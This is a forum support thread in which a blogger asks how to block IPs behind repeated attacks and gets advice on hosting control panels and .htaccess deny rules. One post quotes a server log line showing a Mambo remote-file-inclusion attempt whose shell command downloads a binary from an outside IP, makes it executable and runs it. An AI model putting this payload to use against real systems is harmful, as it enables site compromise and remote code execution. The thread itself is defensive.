Textpattern CMS support forum
You are not logged in. Register | Login | Help
- Topics: Active | Unanswered
Pages: 1
#1 2006-04-05 03:58:18
- walterreid
- New Member
- Registered: 2006-04-05
- Posts: 3
Ban or Block IP Address
Recently I’ve noticed on my logs someone continued attak on my blag using various techniques from my server logs and the logs from textpattern. I was hoping a solution for this might have already been created, but if not is there a temporary solution for this problem? All help would be appreciated!
Cheers,
Walter
Offline
#2 2006-04-05 04:01:39
- zem
- Developer Emeritus
- From: Melbourne, Australia
- Registered: 2004-04-08
- Posts: 2,579
Re: Ban or Block IP Address
If by attack you mean comments, then yes – just use the Ban feature on the content > comments tab.
Alex
Offline
#3 2006-04-05 04:03:22
- walterreid
- New Member
- Registered: 2006-04-05
- Posts: 3
Re: Ban or Block IP Address
Unfortunately, not coments…
I se in my logs things like:
/index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://210.3.4.193/cmd.txt?&cmd=cd%20/tmp;wget%2070.168.74.193/strange;chmod%20744%20strange;./strange;cd%20/var/tmp;cur
Offline
#4 2006-04-05 04:07:46
- zem
- Developer Emeritus
- From: Melbourne, Australia
- Registered: 2004-04-08
- Posts: 2,579
Re: Ban or Block IP Address
That’s someone trying to use a Mambo vulnerability to hack your site. It won’t do any harm besides filling up your logs with junk. (Unless you’re also running Mambo).
Many hosting companies provide a method in their control panel for blocking client IP addresses. That’s the easiest method if your host supports it.
Alex
Offline
#5 2006-04-05 04:20:25
- walterreid
- New Member
- Registered: 2006-04-05
- Posts: 3
Re: Ban or Block IP Address
There has been multiple attempts in the last 24 hours
Anyway, check my servers web control panel and no ban ip list… and other ideas?
I do appreciate the help even if this might be a fruitless endeavor
Offline
Re: Ban or Block IP Address
You can ban ips via you htaccess file
here’s a bit of code
<code>order allow,deny
deny from 148.244.150.58
deny from 166.82.31.14
allow from all</code>
Add ips as you may see fit.
Last edited by colak (2006-04-05 12:48:30)
Yiannis
——————————
NeMe | hblack.art | EMAP | A Sea change | Toolkit of Care
I do my best editing after I click on the submit button.
Offline
Pages: 1